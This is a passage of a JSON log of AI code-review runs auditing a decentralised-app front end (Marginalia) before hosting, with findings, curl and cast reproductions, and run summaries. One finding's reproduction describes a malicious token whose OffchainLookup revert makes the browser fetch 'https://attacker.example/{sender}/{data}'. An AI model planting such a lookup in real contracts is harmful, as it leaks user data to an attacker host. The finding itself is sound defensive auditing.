0xfa0efea559bde229031c2b0a219472316647759c (MARG), pick 'Launch pool', fill side/target/horizon/text. Expected by the brief: an approve + 'Seal' step that calls hook.seal(x, venue, hash). Actual: the only button is 'Seal unavailable' (disabled), the checkpoint button in step 2 is disabled, and no seal can be created from the site. Cross-check: cast call 0xf0457dd0cf526686190e4f057ba19db14d34a0cc 'seal(address,(uint8,bytes32,address,bool),bytes32)' from an account with no hook allowance reverts in safeTransferFrom; the router has no seal entry point (src/MarginaliaRouter.sol exposes checkpointVenue, note, sellWithNote, tradeAndNote only).","severity":"medium","snippet":"      <button type=\"button\" disabled aria-describedby=\"seal-unavailable\">Seal unavailable</button>","title":"Scope decision needed: the SEAL flow (brief item 5) is now unreachable from the site because the hook's own stamp pull conflicts with the 'approvals target ONLY the router' rule"},{"citation":"resolved","description":"The fix for the feed-scan finding bounds every scan to the last LOG_TAIL = 8,000 blocks (web/src/config.ts:20) and starts a returning browser at max(tailStart, cursor - 64). When the browser has been away for more than 8,000 blocks (about 27 hours), the blocks from cursor+1 to tailStart-1 are never requested, now or on any later visit, because the hole-retry loop (lines 151-156) only retries holes inside the tail and the saved coverage ranges exclude the hole. Measured on 2026-10-12 at head 26173386, ethereum-rpc.publicnode.com answers address-filtered eth_getLogs for 2,000-block chunks up to about 10,000 blocks behind the head (back 9,000 and 10,000 blocks: result []; back 11,000: -32602 'Archive requests require a personal token'). So for an absence between 8,000 and ~10,000 blocks (27 to 34 hours) every NotePosted, Sealed, Observed, Settled and Retracted log in a window of up to ~2,000 blocks was readable and is silently skipped; the browser then shows only the generic 'History is incomplete' warning and the note never appears in Feed, Author, Note, Pools 'Your claims' or Seal 'Your seals' for that browser. The same constant also makes a fresh browser forgo the ~2,000 oldest blocks the node would serve. Refused chunks are already tolerated per chunk (lines 162-168), so the cheap fix is to scan from max(cursor - 64, toBlock - N) with N at or above the node's window (or simply keep requesting chunks backwards from tailStart until one is refused), and let a refused chunk stay a disclosed hole. This is a defect inside the revised fix, not a restatement of the original finding: the original failed the whole feed; this one drops a bounded set of entries without saying which.","line":149,"path":"web/src/notes.ts","reproduction":"Mock public client (same harness as web/tests/revision-unit.ts): getLogs serves any range whose fromBlock >= head - 10000 and throws 'Archive requests require a personal token' below that; note 1 at DEPLOY_BLOCK+100. Visit 1 at head = DEPLOY_BLOCK+3500: feed has 1 note, cursor saved. Post note 2 at DEPLOY_BLOCK+4000, then visit 2 at head = DEPLOY_BLOCK+12500 (9,000 blocks later; the node serves DEPLOY_BLOCK+2500 onward, so note 2 is servable). Expected: 2 notes. Actual (run on this tree): getLogs is called only for 26174084-26176083, 26176084-26178083, 26178084-26180083, 26180084-26182083; blocks 26173084-26174083 (1,001 blocks containing note 2) are never requested; feed.notes = [1], partial = true. Visit 3 at head+10: still 1 note. Live equivalent: open the site, come back 30 hours later; any note posted in the first ~3 hours after your last visit is absent in that browser forever, while curl of the same 2,000-block chunk against ethereum-rpc.publicnode.com still returns its log.","severity":"low","snippet":"  let from = cache ? max(tailStart, cache.cursor - LOG_REORG_OVERLAP + 1n) : tailStart;","title":"Returning visitors permanently lose notes posted between their cached cursor and the 8,000-block tail, although the public node still serves those blocks"},{"citation":"resolved","description":"Settled against the code at e250741 on 2026-10-12 (head 26173386, noteCount still 0, no VenueCheckpointed on the router yet). FIXED: (1) feed scan 48667f6f: scanFeed now reads one combined six-topic query per 2,000-block chunk over an 8,000-block tail, tolerates a refused chunk, persists logs/coverage/cursor per hook in localStorage with a 64-block overlap and a block-hash anchor, and discloses partial coverage; the author's 9 unit scenarios pass here (including the 650,000-block gap). The only residual is the returning-visitor hole reported separately as low. (2) reveal blocked by stale checkpoint ba0e8a3d: Post.tsx:95-96 skips the checkpoint requirement when the connected author's live seals(sealKey) entry has the form's subject and an age in [SEAL_MIN, SEAL_MAX], hides the checkpoint block (line 245), rechecks the seal against chain time before simulation and caps the router deadline at seal expiry (lines 115-126); this matches _postNote lines 462-476. (3) Seal page checkpoint f4b35f05: superseded; the shared Checkpoint component now renders on #/seal with the countdown and explainError maps PriceHistoryUnavailable and 0xc3651e6d (lib.ts:244, unit-tested); sealing itself is disabled (see the medium scope finding). (4) sweep dce7375a: Pools.tsx:49-60 lets the visitor pick any day or week epoch, computes sweepAt = (epoch+1)*span + SWEEP_AFTER exactly as sweep() lines 899/903, requires judge.weekClosed for weeks and a non-zero balance. (5) CCIP 4f806e3c: ccipRead:false on the public client; the shipped bundle contains ccipRead:!1. (6) launch link f1bf9153: now https://explorer.imd.fun/jobs/9060a248-29ce-4683-b5d1-54fbc83cd49d, HTTP 200 today. (7) claims count f8d38f78: claims.tsx:23 reads refundClaimed and requires a positive share; refundShare equals claimRefund's pool/count capped at STAMP. (8) retracted line 544e2199: Feed.tsx:46 omits the settlement line for Retracted and describeOutcome names 5/7/8. (9) seal approval 6ffff735 and helper a892a7db: the hook approval is gone; helper/ is unchanged and still unreferenced by dist/ and web/src. RE-VERIFIED: cd web && npm ci && tsc --noEmit && vite build in an isolated copy reproduces dist/assets/index-CE92uzLS.js, index-COpEflJl.css, ccip-bK243nkF.js and dist/index.html byte-for-byte; node scripts/check.mjs passes (2 contracts, 9 assets, ABI keccaks equal the abiHash values, no remote resource in index.html); web/src/abi.ts is unchanged since the previously verified build; dist/imd-deployment.json addresses equal deployment.json and network.json; hook.router() = 0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263 and hook.judge() = 0xa9e1891d76553195B4Cbcd0F8Db290C8C0FA28B9 live; validateVenue on the launch key returns (1, 0x436763bf…, IMD, false) and venueId(launch) = 0x8716b8cb…115f6 as lib.ts computes; the only approve the bundle builds is approve(contracts.router, imdIn) for exactly stamp+MARG_BUY+bond shown with 18 decimals; transactions are router.checkpointVenue/note, hook.observe/settle/settleThesis/claimDeposit/claimRefund/sweep, all via simulateContract with the repository ABIs; the venue finder still uses the canonical factories/WETH from config.ts cross-checked against the router's constants; URL strings in the bundle are the two canonical links plus viem/React documentation text; no analytics, eval or remote script; 'buy' appears in page copy only as 'MARG purchase'; the disclaimer line, 'nothing pays for being right' and 'not a perp DEX and not a prediction market' remain in the footer. Not performed: a rendered-browser session (Playwright not installed here) and any broadcast transaction.","line":67,"path":"web/src/chain.ts","reproduction":"cd web && npm ci && npx tsc -p tsconfig.json --noEmit && npx vite build --outDir /tmp/out && cmp /tmp/out/assets/index-CE92uzLS.js ../dist/assets/index-CE92uzLS.js (identical); node scripts/check.mjs ../.imd/reads/deployment.json ../.imd/reads/network.json -> 'manifest check OK: 2 contracts, 9 assets'; curl -s -o /dev/null -w '%{http_code}' https://explorer.imd.fun/jobs/9060a248-29ce-4683-b5d1-54fbc83cd49d -> 200; cast call --rpc-url https://ethereum-rpc.publicnode.com 0xf0457dd0cf526686190e4f057ba19db14d34a0cc 'router()(address)' -> 0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263.","severity":"info","snippet":"    ccipRead: false,","title":"Re-verification record: nine prior findings confirmed fixed, bundle rebuilt byte-for-byte, addresses/approvals/ABIs rechecked; nothing that must refuse hosting"}],"hash":"afbadd298fdd3179cd78617bce7e52f0fb11ec872760739b7e899f36d0be682a","nodeId":"91a4104a-5f20-49d0-833c-91b1f6e4adb6","outcome":"completed","summary":"Review complete. The findings file is written and validated, the tree has no stray files, and no repository file was changed.\n\n**Outcome.** All nine prior findings are settled as fixed. One residual defect inside the feed fix is reported as low, and one open requirement conflict is reported as a medium scope question for the requester. Nothing was found that must refuse hosting.\n\n**Settled prior findings, all confirmed fixed by reading the code and running the author's reproductions:**\n- Feed scan: now a bounded 8,000-block tail in 2,000-block chunks, per-chunk failure tolerance, a persisted cursor with reorg anchor, and an honest partial-history warning. The author's nine unit scenarios pass here.\n- Reveal blocked by a stale checkpoint: the Post page now skips the checkpoint when the author's live seal is bound and inside its window, rechecks against chain time, and caps the router deadline at seal expiry. This matches the hook's post logic.\n- Seal page checkpoint: the shared checkpoint block now appears on the seal page and the pricer's error is translated. Superseded by the sealing gate below.\n- Sweep, CCIP lookup, launch link (HTTP 200 today), paid-refund counts, and the retracted feed line are each fixed exactly as claimed.\n- The hook approval is gone and the helper directory remains outside dist.\n\n**Re-verification.** A clean npm ci plus vite build reproduces every shipped asset byte-for-byte. The manifest check passes. Addresses, the router and judge read from the hook, the venue id encoding, the single router-only approval for the exact displayed amount, the canonical factories, and the copy and disclaimer all check out live.\n\n**New findings:**\n1. **Medium, scope decision.** Brief item 5 requires calling hook.seal, but the hook pulls its stamp by transferFrom, which needs a 0.1 IMD allowance to the hook, and the review rule forbids any approval except to the router. The author disabled sealing entirely. Only the requester can resolve this: permit an exact-amount stamp approval to the hook for the seal step, or accept that the site shows and reveals seals but cannot create them.\n2. **Low, reproduced.** A visitor who returns after more than 8,000 blocks never requests the blocks between their cached cursor and the new tail start, although the public node serves roughly the last 10,000 blocks. Notes posted in that gap are silently and permanently absent in that browser. The reproduction with a mock client is in the findings file.","treeHash":null,"usage":{"cachedInputTokens":1735842,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":31768,"runtime":"claude","turns":50,"wallClockMs":496630}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"723b11f958c65250","findings":[{"citation":"resolved","description":"loadFeed scans six event types from DEPLOY_BLOCK (web/src/config.ts:16, 26169583) to the head in 2000-block chunks and awaits all chunks in one Promise.all, so a single refused chunk rejects the feed. The first read RPC, https://ethereum-rpc.publicnode.com, answers eth_getLogs only for roughly the last 10,000 to 15,000 blocks: tested on 2026-10-12 at head 26173093, a 2000-block address-filtered query ending 10,000 blocks behind head returned a result, and every query 15,000 or more blocks behind head returned {\"code\":-32602,\"message\":\"Archive requests require a personal token. Get one at: https://www.allnodes.com/publicnode\"}. The deploy block was 3,510 blocks behind head at test time, so within about two days every page that depends on the feed (Feed, Author, Note, Seal 'Your seals', Pools 'Your claims') will show 'Could not read the feed'. The second RPC in the manifest, https://eth.drpc.org (dist/imd-deployment.json:99), refused even the 2000-block and the 3,500-block deploy-to-head query with {\"message\":\"ranges over 10000 blocks are not supported on free plan\",\"code\":35}, so the viem fallback transport (web/src/chain.ts:67) has nowhere to go. Independently of the node, the scan is unbounded: about 7,150 blocks a day means roughly 3.6 chunks a day times six event types, so after 90 days a page load issues about 1,900 eth_getLogs calls. This is advisory, not a hosting risk: nothing malicious, but the site's core read path will stop working shortly after launch. Fixes: scan from the deploy block with a node that serves archive logs, or persist a per-browser cursor (localStorage: last scanned block plus the notes seen) and scan only the tail, or fetch the hook's logs once with a topics array instead of six passes; show a clear message when a range is refused instead of failing the whole feed.","line":94,"path":"web/src/notes.ts","reproduction":"1. Run against the public node with any 2000-block window older than ~15,000 blocks, e.g. curl https://ethereum-rpc.publicnode.com -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"eth_getLogs\",\"params\":[{\"address\":\"0xf0457dd0cf526686190e4f057ba19db14d34a0cc\",\"fromBlock\":\"0x18f240d\",\"toBlock\":\"0x18f2bdc\"}]}' (blocks 26158093 to 26160092, 15,000 behind the 2026-10-12 head) and observe the 'Archive requests require a personal token' error, while the same query ending 10,000 blocks behind head returns a result. 2. Open the site after block ~26184583 (deploy block + 15,000, about 2026-10-14): the Feed page shows 'Could not read the feed from the public nodes: ... Archive requests require a personal token', and #/note/1, #/author/<addr>, #/seal and #/pools lose their lists. Expected: the feed keeps loading for the life of the contracts.","severity":"medium","snippet":"    chunked(DEPLOY_BLOCK, toBlock, (fromBlock, tb) => pub.getLogs({ address: hook, event, fromBlock, toBlock: tb }));","title":"Feed log scan starts at the deploy block, which the public read node stops serving about 12,000 blocks after deploy; the whole feed then fails and the fallback node refuses every range"},{"citation":"resolved","description":"MarginaliaHook.seal (src/MarginaliaHook.sol:812) calls router.postPrice(venue, true/false), and MarginaliaPricer.postPrice (src/MarginaliaPricer.sol:135) reverts PriceHistoryUnavailable when priceWindows[venue].startedAt is 0, younger than POST_MIN_SPAN (1 h) or older than POST_MAX_AGE (6 h). The Post page handles this with a 'Checkpoint the venue' step and a countdown (web/src/pages/Post.tsx), but the Seal page offers only Approve and Seal. The router's window for the launch venue is empty today (priceWindows(0x8716b8cb...) returned all zeros and postPrice reverted PriceHistoryUnavailable on the live router at block 26173093), so pressing Seal on the launch pool fails. explainError (web/src/lib.ts:225) has no entry for PriceHistoryUnavailable, so the visitor sees viem's raw revert text rather than 'checkpoint the venue first and wait an hour'. Also the brief asks for the seal page to 'show the 30 min to 6 h reveal window' and the checkpoint wait; the latter is missing here. Advisory: a flow defect, no security impact.","line":43,"path":"web/src/pages/Seal.tsx","reproduction":"Connect a wallet holding IMD, open #/seal, enter X = MARG 0xfa0efea559bde229031c2b0a219472316647759c, pick the launch pool, fill side/target/horizon/text, approve 0.1 IMD to the hook, press Seal. Expected: either a checkpoint step with the one-hour countdown, or a plain-language message that the venue needs a checkpoint 1 to 6 hours old. Actual: simulateContract rejects with 'PriceHistoryUnavailable' (verified on the live router: cast call 0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263 'postPrice((uint8,bytes32,address,bool),bool)' '(1,0x436763bf49aa9ea6db1d8d4d80ac8c7b3c36ad58fa6281a06ea39c92d69e2f20,0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7,false)' true reverts PriceHistoryUnavailable).","severity":"medium","snippet":"    const { request } = await pub.simulateContract({ address: contracts.hook, abi: MarginaliaHookAbi, functionName: 'seal', args: [p.x, p.venue, hash!], account: acct! });","title":"Seal page has no checkpoint step: hook.seal reverts with PriceHistoryUnavailable unless the venue already has a 1 to 6 hour old router checkpoint, and the page neither shows the window state nor expla"},{"citation":"resolved","description":"The canonical explorer link rendered by Footer (web/src/ui.tsx, 'launch #1283 on the explorer') and shipped in dist/assets/index-B_ZHHBJ5.js points at https://explorer.imd.fun/launches/1283, which returned HTTP 404 ('IMD › Explorer › Not found') on 2026-10-12; /launches/1240 and /launch/1283 also 404. The explorer's routes are /jobs/<uuid> and /agents/<n>; the launch job page https://explorer.imd.fun/jobs/9060a248-29ce-4683-b5d1-54fbc83cd49d (the job listed in .imd/reads/project.md) returns 200 with the project's title and links to the pinned source commit. A broken link, no security impact.","line":29,"path":"web/src/config.ts","reproduction":"Open the site, press 'launch #1283 on the explorer' in the footer (or curl -s -o /dev/null -w '%{http_code}' https://explorer.imd.fun/launches/1283). Expected: the launch's page. Actual: 404.","severity":"low","snippet":"  launch: 'https://explorer.imd.fun/launches/1283',","title":"Footer and About 'launch #1283 on the explorer' link returns 404: the explorer has no /launches/<n> route"},{"citation":"resolved","description":"s.days is [today, today-1, today-2] (web/src/pages/Pools.tsx:13) and SWEEP_AFTER is 28 days (MarginaliaHook.sweep, src/MarginaliaHook.sol:896, verified live: SWEEP_AFTER read by loadContracts). (d+1)*86400 + 28 d is always in the future for a day at most two days old, so sweepableDay is always undefined and the page always renders 'No recent day pool is old enough to sweep'. The brief's 'sweep' state on the Pools page is therefore never actionable from the site; week pools (kind 1) are not offered at all. Advisory, no security impact.","line":33,"path":"web/src/pages/Pools.tsx","reproduction":"Open #/pools on any date with a connected wallet. Expected: a 'Sweep day N' button for any day pool older than 28 days with a non-zero balance. Actual: always the 'No recent day pool is old enough to sweep' sentence, because only today, yesterday and the day before are examined.","severity":"low","snippet":"  const sweepableDay = s ? s.days.find((d, i) => s.refunds[i] > 0n && now >= (d + 1) * 86400 + contracts.limits.sweepAfter) : undefined;","title":"Pools page Sweep button can never appear: it only inspects the last three days while sweep needs a pool 28 days old"},{"citation":"resolved","description":"createPublicClient is built without ccipRead: false. viem's call/readContract then honours any contract that reverts with OffchainLookup(sender, urls, ...) by fetching those URLs from the browser; the lazy chunk dist/assets/ccip-CwAPpswA.js (shipped, 2,888 bytes) is exactly that code path and performs fetch(url) with the calldata. The venue finder (web/src/form.tsx, useVenueFinder) calls symbol() on whatever token address the visitor types, so a token contract whose symbol() reverts with OffchainLookup would cause the page to issue an HTTP request to a third-party host, contrary to the site's 'no external APIs except the chain RPC' promise. No wallet data or signature is involved and the response cannot execute code, so this is a privacy/promise leak only. Fix: pass ccipRead: false to createPublicClient.","line":67,"path":"web/src/chain.ts","reproduction":"Deploy (or point at) an ERC-20 whose symbol() reverts with the OffchainLookup error (selector 0x556f1830, urls = ['https://attacker.example/{sender}/{data}']). Open #/post, paste its address as Token X. Expected: no network traffic beyond the configured RPC. Actual: the browser loads ccip-CwAPpswA.js and issues a GET to the attacker URL (visible in the network tab) before showing the venue-finder result.","severity":"low","snippet":"    transport: fallback(cfg.rpcUrls.map((u) => http(u, { batch: true, retryCount: 2 }))),","title":"ERC-3668 offchain lookup is left enabled on the public client, so a malicious token pasted into the venue finder can make the browser fetch an attacker-chosen URL"},{"citation":"resolved","description":"MarginaliaHook.seal calls _fund(STAMP), which does IERC20(imd).safeTransferFrom(msg.sender, address(this), amount) (src/MarginaliaHook.sol:785-789), so a seal cannot work without an allowance to the hook. The page approves exactly STAMP (0.1 IMD, read live from the contract) to contracts.hook, which is the address from imd-deployment.json (0xf0457dd0cf526686190e4f057ba19db14d34a0cc, checked against .imd/reads/deployment.json by scripts/check.mjs), and the button text says 'Approve 0.1 IMD to the hook ... One ERC-20 approval of exactly one stamp, to the hook address from the deployment file'. The Post page approves exactly stamp + MARG_BUY + bond to the router read from hook.router() (0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263 live). No unlimited approval, permit, or signature request exists anywhere in the bundle. Recorded so the requester knows the brief's wording and the shipped behaviour differ for a documented reason; not a defect to fix.","line":38,"path":"web/src/pages/Seal.tsx","reproduction":"Open #/seal with a connected wallet whose IMD allowance to the hook is below 0.1 IMD: the first button is 'Approve 0.1 IMD to the hook' and the wallet prompt shows approve(0xf0457dd0cf526686190e4f057ba19db14d34a0cc, 100000000000000000).","severity":"info","snippet":"    const { request } = await pub.simulateContract({ address: contracts.imd, abi: erc20Abi, functionName: 'approve', args: [contracts.hook, L.stamp], account: acct! });","title":"Seal flow approves IMD to the hook (not the router) for exactly one stamp; this deviates from the brief's 'approvals target only the router' but is required by the contract and is stated on the page"},{"citation":"resolved","description":"helper/server.js is a Node proxy to https://api.imd.fun that stores a bearer token in helper/.token, and helper/public/index.html plus helper/src/app.js form a dark-themed page that signs x402/Permit2 payments and approves 25 IMD to Permit2 0x000000000022D473030F116dDEE9F6B43aC78BA3. This was the contributor's launch-payment tool; it is not referenced by dist/, web/, or the manifest (scripts/check.mjs lists exactly the 8 dist files). Nothing to host; noted so the pin is taken from dist/ only and not from the repository root.","line":68,"path":"helper/src/app.js","reproduction":"ls dist/ shows index.html, assets/, abi/, imd-deployment.json only; grep -r helper dist/ web/src returns nothing. The approval above exists only in helper/src/app.js.","severity":"info","snippet":"  const hash = await wallet.writeContract({ account, address: IMD, abi: ERC20, functionName: 'approve', args: [PERMIT2, parseEther('25')] });","title":"Repository contains an unrelated local launch helper (helper/) that approves 25 IMD to Permit2 and proxies api.imd.fun; it is not in the dist/ export and must stay out of what is hosted"},{"citation":"resolved","description":"The brief asks that the copy 'never says buy'. The side selector uses the contract's enum names BUY/SELL ('BUY · the price goes up', 'SELL · the price goes down'), the feed shows 'BUY'/'SELL' per entry, and the MARG leg is described as 'a small MARG purchase ... the MARG goes to you' (Post page) and '0.25 IMD spent on MARG in the launch pool' (About). None of this invites a purchase of MARG or promises a return; the lede on Feed, Post, About and the footer say 'Nothing pays for being right', 'not a perp DEX and not a prediction market', and the footer carries 'Informational and research purposes only. Not financial advice. Bonds can be lost.' on every route (web/src/ui.tsx Footer). Recorded as the result of the copy check; no change required unless the requester wants the side labels renamed (for example 'UP'/'DOWN').","line":219,"path":"web/src/form.tsx","reproduction":"grep -n -i 'buy' web/src/pages/*.tsx web/src/form.tsx web/src/ui.tsx lists only the side labels, the enum, the MARG_BUY constant and 'sold-out BUYs'; grep -n -i 'guarantee\\|profit\\|returns\\|APY\\|earn' web/src returns nothing promotional.","severity":"info","snippet":"            <input type=\"radio\" name=\"side\" checked={draft.side === Side.Buy} onChange={() => set({ side: Side.Buy })} /> BUY · the price goes up","title":"Copy check: the words BUY and SELL appear only as the protocol's side labels; no page tells the visitor to buy anything, no returns are promised, the disclaimer is on every page"},{"citation":"resolved","description":"Files that will be hosted and what each does: dist/index.html (static shell: meta tags, inline data-URI SVG favicon of the manicule, one relative module script, one relative stylesheet, no inline script, no remote reference); dist/assets/index-B_ZHHBJ5.js (568,375 bytes: React 19.2, viem 2.57.4 and the app; byte-identical to a fresh `vite build` of web/src with the pinned lockfile, so the TypeScript sources are what runs; the only runtime network calls are fetch of ./imd-deployment.json and JSON-RPC to the two manifest RPC URLs; the only hard-coded addresses are the canonical Uniswap v3 factory 0x1F98431c8aD98523631AE4a59f267346ea31F984, v2 factory 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f and WETH 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, which are also compared at runtime with the router's UNIV3_FACTORY/UNIV2_FACTORY/WETH constants (read live, equal); the remaining URL strings are viem/React error-message documentation links and viem's unused ENS avatar gateway defaults; createElement('script') occurrences are React DOM's hoistable-resource code, never invoked by the app; no eval, new Function, importScripts, WebSocket, sendBeacon or analytics); dist/assets/ccip-CwAPpswA.js (viem's ERC-3668 lazy chunk, see the separate low finding); dist/assets/index-BM2WQRFO.css (paper/ink palette #f6f1e7/#1d1a16, rust #b9471f, rule #d9cfbd, dark #15130f/#ece5d6, serif stack, 17px base, one column, as the brief specifies); dist/abi/*.json (full ABIs; MarginaliaHook and Marginalia canonical keccak equal the abiHash values in .imd/reads/deployment.json per scripts/check.mjs, byte-equal to web/public/abi; every typed subset in web/src/abi.ts is an entry of the full ABI and its signatures match src/MarginaliaHook.sol, src/MarginaliaRouter.sol and src/MarginaliaJudge.sol); dist/imd-deployment.json (hook 0xf0457dd0cf526686190e4f057ba19db14d34a0cc and MARG 0xfa0efea559bde229031c2b0a219472316647759c equal deployment.json; network block byte-equal to network.json; IMD 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7 from pairToken). Live reads on 2026-10-12 at block 26173093: hook.router() 0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263, judge() 0xa9e1891d76553195B4Cbcd0F8Db290C8C0FA28B9, treasury() 0x3e00372cc4967D2bd006Ca882c51dAf45a9810C8, imd()/token() equal the manifest, getPoolKey() = (IMD, MARG, 12500, 60, hook), STAMP 0.1, MARG_BUY 0.25, BOND_MIN 0.25, BOND_MAX 10, SEAL 1800..21600 s, SETTLE_WINDOW 21600 s, THESIS_GRACE 7 d, noteCount 0. Transactions the pages build: router.checkpointVenue(p, poolKey), IMD.approve(router, stamp+margBuy+bond), router.note(p, poolKey, imdIn, minMargOut = 0.25 IMD at margPriceInImd() minus 10%, deadline now+20 min), IMD.approve(hook, STAMP), hook.seal(x, derived venue, sealHash), hook.observe/settle/settleThesis/claimDeposit/claimRefund(id), hook.sweep(kind, epoch); every one goes through simulateContract with those ABIs, every approval is for the exact amount shown on the page, and sealHash/venueId/poolId encodings in web/src/lib.ts match the contracts' abi.encode layouts. Venue finder: getPool(X, WETH|IMD, fee in {100,500,3000,10000}) on the v3 factory and getPair(X, WETH|IMD) on the v2 factory, empties filtered, launch pool the only v4 venue; the chosen venue is re-derived through router.validateVenue before any hash or transaction. Keeper buttons: Observe inside [horizonEnd, horizonEnd+6h], Settle after, Forfeit thesis after the 7-day grace with no child, matching the hook's revert conditions. No seed phrase, private key or password prompt; no impersonation; no hidden iframe or redirect. Not performed: rendered browser inspection; no transaction was broadcast.","line":16,"path":"dist/index.html","reproduction":"cd web && npm ci && npx vite build --outDir /tmp/rebuilt && cmp /tmp/rebuilt/assets/index-B_ZHHBJ5.js ../dist/assets/index-B_ZHHBJ5.js (identical); node scripts/check.mjs (manifest check OK: 2 contracts, 8 assets); cast call --rpc-url https://ethereum-rpc.publicnode.com 0xf0457dd0cf526686190e4f057ba19db14d34a0cc 'router()(address)' returns 0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263.","severity":"info","snippet":"    <script type=\"module\" crossorigin src=\"./assets/index-B_ZHHBJ5.js\"></script>","title":"Verification record for the export: addresses, approvals, ABIs, bundle provenance and external references all checked; nothing that must not be hosted"}],"hash":"c535a933a66f0c5a84e053094086fcf4945263ebd2a69c233861bb5fe3453513","nodeId":"2bad0136-5594-493a-8be9-e70915872477","outcome":"completed","summary":"The review is complete. The findings file is in place at the repository root (excluded from git by the harness's own `.git/info/exclude`, which is expected), and no tracked file was changed.\n\n**Verdict: nothing critical or high. The export can be hosted.** Every file in `dist/` was read, the bundle was rebuilt from `web/src` with the pinned lockfile and is byte-identical to the shipped one, and the live contracts were queried to confirm every address.\n\nWhat checked out:\n- **Addresses** all match the brief and the live chain: hook, MARG, IMD from the manifest; router, judge, treasury read from the hook; the pool key is (IMD, MARG, 12500, 60, hook).\n- **Approvals** are exact-amount only: stamp + MARG purchase + bond to the router for posting, one stamp to the hook for sealing. No unlimited approval, permit or signature request exists in the bundle.\n- **Transactions** all go through simulation with ABI subsets that are verified entries of the full ABIs, whose hashes equal the handoff's. Signatures match the Solidity.\n- **No external code**: one relative script, one stylesheet, no analytics, no eval or script injection, no third-party hosts beyond the two RPC URLs. The venue finder uses the canonical Uniswap factories and cross-checks them against the router.\n- **Copy and look** meet the brief: disclaimer in the footer on every route, \"nothing pays for being right\", paper-and-ink palette, serif body, manicule mark.\n\nFindings written to `.imd-findings.json` (9 entries):\n- **Medium**: the feed scans logs from the deploy block, but the public node refuses log queries older than roughly 12,000 blocks and the fallback node refuses every range. The feed will stop loading around 2026-10-14. Fix by scanning only the recent tail with a stored cursor, or using a node that serves archive logs.\n- **Medium**: the Seal page has no checkpoint step. The hook's seal reverts with PriceHistoryUnavailable unless the venue has a 1 to 6 hour old checkpoint, and the error is shown raw.\n- **Low**: the explorer launch link returns 404. The launch's real page is the job page on the explorer.\n- **Low**: the Pools sweep button can never appear because only the last three days are examined while sweeping needs 28 days.\n- **Low**: ERC-3668 offchain lookup is left enabled, so a malicious token pasted into the venue finder can trigger a fetch to an attacker URL. Set ccipRead to false.\n- **Info**: the hook approval for sealing deviates from the brief's wording but is required and explained; the repository's `helper/` tool is not in the export and must stay out; BUY/SELL appear only as side labels; a full verification record of what each hosted file does.\n\nNot performed: rendered browser inspection and any broadcast transaction.","treeHash":null,"usage":{"cachedInputTokens":5006976,"inputTokens":1218,"model":"claude-fable-5-1","outputTokens":40436,"runtime":"claude","turns":39,"wallClockMs":697272}},{"artifacts":[],"attempt":1,"bundleHash":"a639bae63f9a95b6e5968fbd77133bd07003f94b4169b4a18acd6ec4b3c428f6","device":"0b3b16f4e82a0732","findings":[],"hash":"d5be08bfbee71a38241723b153fb81f56735436f3a83a3a9ea135118985cd29b","nodeId":"9d6d2b49-9f21-43a1-96bd-e6347cb0561b","outcome":"completed","summary":"Fixed both history gaps and the mobile warning obstruction. Rebuilt `dist/` and answered all five findings in `.imd-responses.json`.\n\nBuild, typecheck, manifest checks, 16 unit scenarios, and Chromium/WebKit interaction checks passed.\n\nNew sealing remains disabled under the router-only approval rule. No live transactions were sent.","treeHash":"3c98092110f51f51546ec51bbae34852d1cb08a7","usage":{"cachedInputTokens":3624448,"inputTokens":140906,"model":"gpt-6-astra","outputTokens":30296,"runtime":"codex","turns":7,"wallClockMs":951062}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"b38bea3c04869138","findings":[{"citation":"resolved","description":"Follow-up to the returning-visitor finding (id 4787d5c9...). The author's fix is confirmed for the exact reproduction I gave: when the saved coverage is complete up to the old cursor, the gap between cursor+1 and tailStart-1 is now requested on the next load (the author's 'Returning browser retrieves the served gap after a 9,000-block absence' scenario passes here). The fix does not hold once the cache contains permanent holes older than the cursor, which is the normal state on mainnet after the chain is more than ~10,000 blocks past deploy: ethereum-rpc.publicnode.com (measured again 2026-10-12 at head 26173640) serves address-filtered eth_getLogs up to ~10,000 blocks behind head and refuses older ranges with -32602 'Archive requests require a personal token'. The history sweep (lines 209-221) walks forward from historyCursor through every missing range, including blocks the node has refused on every previous load, and stops after LOG_HISTORY_CHUNKS = 4 requests. The newly opened gap [oldCursor+1, tailStart-1] sits at the end of that list, so a visitor who has been away 8,000..10,000 blocks (27..34 h) gets four refused archive requests and the gap stays unread; it is only reached after enough extra 'Load more history' clicks (four in the run below), and once the head has moved ~2,000 more blocks the gap is behind the node's archive line and the notes in it are lost for that browser for good. Since the tail covers exactly the newest 8,000 blocks and the node serves ~10,000, the band the sweep should read first is the ~2,000 blocks immediately before tailStart; a sweep that tries missing ranges newest-first (backwards from tailStart), or that puts the ranges adjacent to the tail ahead of the wrapped-around old holes, reads it on the first load and leaves the permanently refused old blocks as the disclosed holes they already are. No approval, transaction or address is affected; this only concerns which notes a browser shows.","line":212,"path":"web/src/notes.ts","reproduction":"Mock public client as in web/tests/history-unit.ts (getLogs throws 'Archive requests require a personal token' when fromBlock < head - 10000, serves anything newer; no events at first). Visit 1 at head = DEPLOY_BLOCK+42000 (about 6 days after launch), fresh browser: getLogs is called for offsets 34001-36000, 36001-38000, 38001-40000, 40001-42000 (served, tail) and 0-1999, 2000-3999, 4000-5999, 6000-7999 (refused); historyCursor saved = DEPLOY_BLOCK+8000. Then a NotePosted at DEPLOY_BLOCK+42500 and the visitor returns 9,000 blocks later (head = DEPLOY_BLOCK+51000; the node serves from offset 41000, the tail starts at 43001, so block 42500 is servable). Expected: the gap 42001-43000 is requested and the note appears. Actual (run on this tree with esbuild-bundled notes.ts): getLogs is called for 43001-45000, 45001-47000, 47001-49000, 49001-51000 and then 8000-9999, 10000-11999, 12000-13999, 14000-15999 (all four refused); feed.notes = []. Two further loads at the same head request 16000-23999 and 24000-31999; the note is still absent. After the head advances another 7,000 blocks (next day) and six more loads, feed.notes is still [] and feed.partial is true: 